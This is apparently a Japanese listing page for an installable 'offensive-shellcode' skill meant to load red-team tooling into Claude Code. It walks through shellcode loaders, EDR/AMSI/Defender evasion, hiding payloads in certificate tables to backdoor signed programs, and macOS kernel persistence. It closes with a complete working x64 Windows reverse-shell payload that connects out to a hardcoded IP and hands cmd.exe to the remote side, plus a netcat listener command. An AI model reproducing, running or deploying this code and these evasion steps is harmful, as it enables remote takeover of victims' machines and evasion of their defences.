mcpField
O
offensive-shellcode

offensive-shellcode

github.com/snailsploitセキュリティ9.7k190 回インストール2 週間前に更新
リポジトリ

offensive-shellcode について

セキュリティ研究者向けのシェルコード開発リファレンスです。クロスプラットフォームのコード、ローダー、テスト、解析を扱い、実行手順や技術選択肢、関連ツールを整理しています。

主な機能

  1. 01シェルコード開発手順の概要
  2. 02位置独立コードの技術
  3. 03Windows API の解決方法
  4. 04ローダーの割り当て・書き込み・実行
  5. 05PE からシェルコードへの変換ツール
  6. 06クロスプラットフォームの留意点

活用シーン

  1. 01複数プラットフォームの実行方式の調査
  2. 02ローダー実装手順の比較
  3. 03PE からの変換方法の確認
  4. 04テストとデバッグ手順の整理

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-shellcode

インストール後、Claude Code で/offensive-shellcodeを入力して読み込まれたか確認します。

詳細

シェルコード開発ワークフロー

  1. コンセプトと対象プラットフォーム(x86/x64、Windows/Linux/macOS)を定義します
  2. 位置独立の手法を使ってアセンブリを記述します
  3. バイナリを抽出し、制御された環境でテストします
  4. ヌルバイトの回避と最適化を行います
  5. 静的検出を回避するため、エンコード/暗号化します
  6. ローダーとパッケージ化し、配布方法を選びます

基本概念

実行パターン(割り当て・書き込み・実行)

PAGE_EXECUTE_READWRITE の直接使用は避け、次の方法を優先します。

  1. PAGE_READWRITE で割り当てます
  2. 割り当てた領域にシェルコードを書き込みます
  3. VirtualProtect を呼び出し、PAGE_EXECUTE_READ に切り替えます
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
位置独立コード(PIC)の手法
方法プラットフォーム備考
Call/PopWindows次のアドレスをプッシュし、レジスターにポップします
FPU stateWindowsfstenv で命令ポインターを保存します
SEHWindows例外ハンドラーに EIP を保存します
GOTLinuxグローバルオフセットテーブル
VDSOLinuxカーネルが提供する共有オブジェクト

Windows API の解決(PEB の走査)

インポートを使わずに kernel32.dll を特定します。

  1. gs:[0x60](x64)または fs:[0x30](x86)から PEB を取得します
  2. PEB->Ldr.InMemoryOrderModuleList を走査します。順序は exe → ntdll → kernel32 です
  3. モジュール名のハッシュを比較して kernel32 を特定します
  4. エクスポートアドレステーブル(EAT)を解析します
  5. 名前のハッシュから GetProcAddress を見つけ、次に LoadLibraryA を解決します
  6. LoadLibraryA を使って WS2_32.dll を読み込み、Winsock 関数を解決します

PEB の走査をデバッグするための WinDbg ヘルパー:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

シェルコードローダー

ローダーの役割
  • 環境の検証/キー設定(サンドボックスの検出)
  • シェルコードの復号
  • 安全なメモリ割り当てとインジェクション
  • インジェクション後に処理を終了します

推奨言語: Zig(小さく、ランタイム不要)、Rust(安全)、Nim、Go(ランタイムのシグネチャに注意)

割り当てフェーズ

RWX の割り当ては避け、次の 2 段階方式を使います。

  • VirtualAllocEx / NtAllocateVirtualMemory — RW で割り当てます
  • ZwCreateSection + NtMapViewOfSection — 代替方式です
  • 書き込み後、VirtualProtectEx で RX に切り替えます

その他の選択肢: コードケーブ、スタック/ヒープ(DEP が無効の場合)

書き込みフェーズ
  • WriteProcessMemory / NtWriteVirtualMemory
  • マップされたセクションへの memcpy

回避のヒント:

  • シェルコードの先頭にダミーのオペコードを追加します
  • チャンクに分割し、ランダムな順序で書き込みます
  • 書き込みの間に遅延を入れます
実行フェーズ

最も厳しく監視される段階です。EDR はスレッドの開始アドレスがイメージに裏付けられたメモリー上にあるかどうかを確認します。

手法備考
CreateRemoteThread / ZwCreateThreadEx目立ちやすく、厳重に監視されます
NtSetContextThread一時停止中のスレッドを乗っ取ります
NtQueueApcThreadExAPC インジェクション
API トランポリン関数のプロローグを上書きします
ThreadlessInject新しいスレッドを作成しません

間接実行のリソース:


PE からシェルコードへの変換

ツール目的
DonutEXE/DLL → シェルコード
sRDIDLL → 位置独立シェルコード
Pe2shcPE → シェルコード
Amberリフレクティブ PE パッカー

オープンソースのローダー:

  • ScareCrow
  • NimPackt-v1
  • NullGate — 間接システムコール + ジャンク書き込みの順序制御
  • DripLoader — チャンク単位の RW 書き込み + 直接システムコール + JMP トランポリン
  • ProtectMyTooling — 複数の保護機能を連結します
  • 直接システムコール用ヘルパー:SysWhispers3、FreshyCalls(現在はベースライン要件)

シェルコードの保存と隠蔽

場所リスク備考
.text にハードコード中再コンパイルが必要です。RW/RO として保存されます
PE リソース(RCDATA)高AV によるスキャンが最も多い場所です
PE の追加セクション中最後から2番目のセクションを使用します
証明書テーブル低署名済み PE の署名を維持します
インターネット上でホスト変動SharpShooter

証明書テーブルの手法(推奨):

  • 証明書テーブルをシェルコードのバイト列で埋め、PE ヘッダーを更新します
  • ローダー DLL のみをバックドア化します(例:teams.exe 内の ffmpeg.dll)
  • メイン実行ファイルの署名は有効なままです。無効になるのは DLL の署名のみです

保護: LZMA で圧縮し、保存前に XOR32、RC4、または AES で暗号化します。

Windows 11 24H2 に関する注意: AMSI のヒープスキャンが有効です。ライブヒープスキャンを回避するには、PAGE_NOACCESS で割り当て、インプレースで復号してから、PAGE_EXECUTE_READ に切り替えます。


回避

段階的な回避の強化
  1. 基本的なシェルコード実行(ベースライン)
  2. XOR/AES 暗号化と難読化を追加
  3. ユーザーランドフックを回避するための直接システムコール
  4. 最終手段としてのリモートプロセスインジェクション
ローカルインジェクションとリモートインジェクション

リモートインジェクションは、より検出されやすくなります:

  • CFG / CIG の適用
  • ETW Ti フィード
  • EDR によるコールスタックの遡及追跡(NtOpenProcess の呼び出し元)
  • より厳しく調査される手順:OpenProcess → Allocate → Write → Execute

Defender 回避ツール(DefenderBypass):

  • myEncoder3.py — バイナリのシェルコードを XOR 暗号化
  • InjectBasic.cpp — 基本的な C++ インジェクター
  • InjectCryptXOR.cpp — XOR 復号とインジェクション
  • InjectSyscall-LocalProcess.cpp — 直接システムコールを使用し、疑わしい IAT エントリーなし
  • InjectSyscall-RemoteProcess.cpp — 直接システムコールによるリモートプロセスインジェクション

クロスプラットフォームに関する考慮事項

Windows on ARM64(WoA)
  • システムコールでは、ntdll!KiServiceTableArm64 の ARM64 テーブルを使って SVC 0 を使用します
  • ポインター認証(PAC)は LR に署名します。スタックピボットを避けるか、PACIASP で再署名します
Linux 6.9 以降(eBPF Arena)
  • BPF_MAP_TYPE_ARENA マップは実行可能メモリを保持できます
  • シェルコードのチャンクをアリーナマップに隠し、bpf_prog_run_pin_on_cpu で実行します
macOS(署名済みシステムボリューム)
  • macOS 12 以降ではシステムパーティションが封印されるため、署名されていないペイロードはそこに配置できません
  • ユーザー空間:起動エージェント、/Library/Apple/System/Library/Dyld/ 内の dylib ハイジャック
  • カーネルの永続化:封印済みスナップショットを作成し、RW でマウントしてインジェクションし、kmutil で再署名して bless します

DripLoader の手法

github.com/xuanxuan0/DripLoader:

  1. NO_ACCESS で 64KB のチャンクを予約します
  2. そのプール内に 4KB の RW チャンクを割り当てます
  3. ランダムな順序でチャンク単位にシェルコードを書き込みます
  4. 保護属性を RX に再設定します
  5. ntdll!RtlpWow64CtxFromAmd64 のプロローグを JMP トランポリンで上書きします
  6. すべての呼び出しで直接システムコールを使用します:NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx

x64 Windows 用リバースシェルの完全なシェルコード

PEB の走査 → GetProcAddress → LoadLibraryA → Winsock 接続 → CreateProcessA(cmd.exe) を実装する、完全な Python/Keystone の例:

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"
    "   push rax                    ;" # lpProcessInformation
    "   push rdi                    ;" # lpStartupInfo
    "   xor rax, rax                ;"
    "   push rax                    ;" # lpCurrentDirectory = NULL
    "   push rax                    ;" # lpEnvironment = NULL
    "   push rax                    ;"
    "   inc rax                     ;"
    "   push rax                    ;" # bInheritHandles = TRUE
    "   xor rax, rax                ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;" # dwCreationFlags = 0
    "   mov r8, rax                 ;" # lpThreadAttributes = NULL
    "   mov r9, rax                 ;" # lpProcessAttributes = NULL
    "   mov rdx, rcx                ;" # lpCommandLine = 'cmd.exe'
    "   mov rcx, rax                ;" # lpApplicationName = NULL
    "   call r12                    ;" # CreateProcessA
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

注意: 使用前に IP(0x31061fac)とポート(0xbb01)を更新してください。リスナー:nc -nvlp 443

Windows 11 23H2: Smart App Control により、ローカルサブネットへのアウトバウンド TCP 443/4444 がブロックされる場合があります。標準以外のポート、または名前付きパイプのペイロードを使用してください。

コメント